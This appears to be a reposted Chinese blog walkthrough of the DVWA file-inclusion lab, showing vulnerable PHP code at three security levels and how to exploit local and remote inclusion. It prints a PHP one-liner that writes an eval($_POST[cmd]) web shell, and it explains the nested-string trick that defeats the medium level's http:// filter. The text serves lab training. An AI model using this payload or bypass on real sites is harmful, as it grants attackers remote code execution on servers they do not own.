欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

DVWA文件包含漏洞(file inclusion)

程序员文章站 2022-07-16 15:43:59
...

目录

1、low级别

1.1 本地文件包含

1.2 远程文件包含

2、medium级别

3、high级别


文件包含漏洞是在主机要执行的文件中添加包含木马的文件。

low级别和medium级别分别有远程文件包含(RFI)和本地文件包含(LFI),high级别使用了白名单,无法绕过。

1、low级别

1.1 本地文件包含

在 https://blog.csdn.net/kirito_pio/article/details/106547336 中,完成了对各个级别的文件上传,但是在执行high级别时只进行了上传,不能使用菜,因为图片是静态的文件,不能自己执行,需要等待请求。

图片中包含的一句话脚本如下,可以在执行时新建并写入一个php文件。

 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

对low级别的代码如下,直接对资源进行访问,不设置过滤。


<?php

    $file = $_GET['page']; //The page we wish to display 

?>

先根据 https://blog.csdn.net/kirito_pio/article/details/106547336 high级别进行图片的上传。

DVWA文件包含漏洞(file inclusion)

再切换到file inclusion,输入上传文件的网址,记得要把安全级别切换到low,high的话不会成功;如果出现各种字符,说明读取到了文件。

DVWA文件包含漏洞(file inclusion)

DVWA文件包含漏洞(file inclusion)

为了验证结果,可以去靶机下的/var/www/dvwa/vulnerabilities/fi进行查看,会发现增加了shell.php文件;最后可以通过菜刀对文件进行增删进行验证。

DVWA文件包含漏洞(file inclusion)

DVWA文件包含漏洞(file inclusion)

1.2 远程文件包含

远程文件包含是主机访问远端的一个服务器,所以要设置一个服务器,可以使用kali。

首先,保证靶机的allow_url_fopen是开启的(保证可以使用URL去包含文件),文件路径是/etc/php5/cli/php.ini

DVWA文件包含漏洞(file inclusion)

DVWA文件包含漏洞(file inclusion)

第二步,搭建服务器。我使用的是kali(ip:192.168.5.131),使用命令systemctl start apache2 开启服务,用systemctl status apache2检测状态。

DVWA文件包含漏洞(file inclusion)

kali存放网络文件的路径为/var/www/html,把需要访问的shell文件放在此路径下。

注意:此处的shell文件的类型不能设为.php,我用的是.txt。

DVWA文件包含漏洞(file inclusion)

第三步,进行访问。在 page= 后加入网址。

DVWA文件包含漏洞(file inclusion)

第四步,进行验证。和之前一样,使用菜刀;也可以去靶机的/var/www/dvwa/vulnerabilities/fi路径下进行查看,多了shell.php文件。

DVWA文件包含漏洞(file inclusion)

2、medium级别

对于网站的php代码,增加了对http/https协议的过滤。


<?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?>

因为本地文件包含不涉及http协议,所以,medium级别下本地文件包含和low级别下没有区别

远程文件包含,代码会筛选出http://和https://并删除,所以可以在之前的low级别下输入的网址进行插入。

DVWA文件包含漏洞(file inclusion)

其他操作均与low相同。

3、high级别

high级别是安全的。代码如下,指定了执行的白名单,只允许特定的文件执行。


<?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
  

 

相关标签: 网安 安全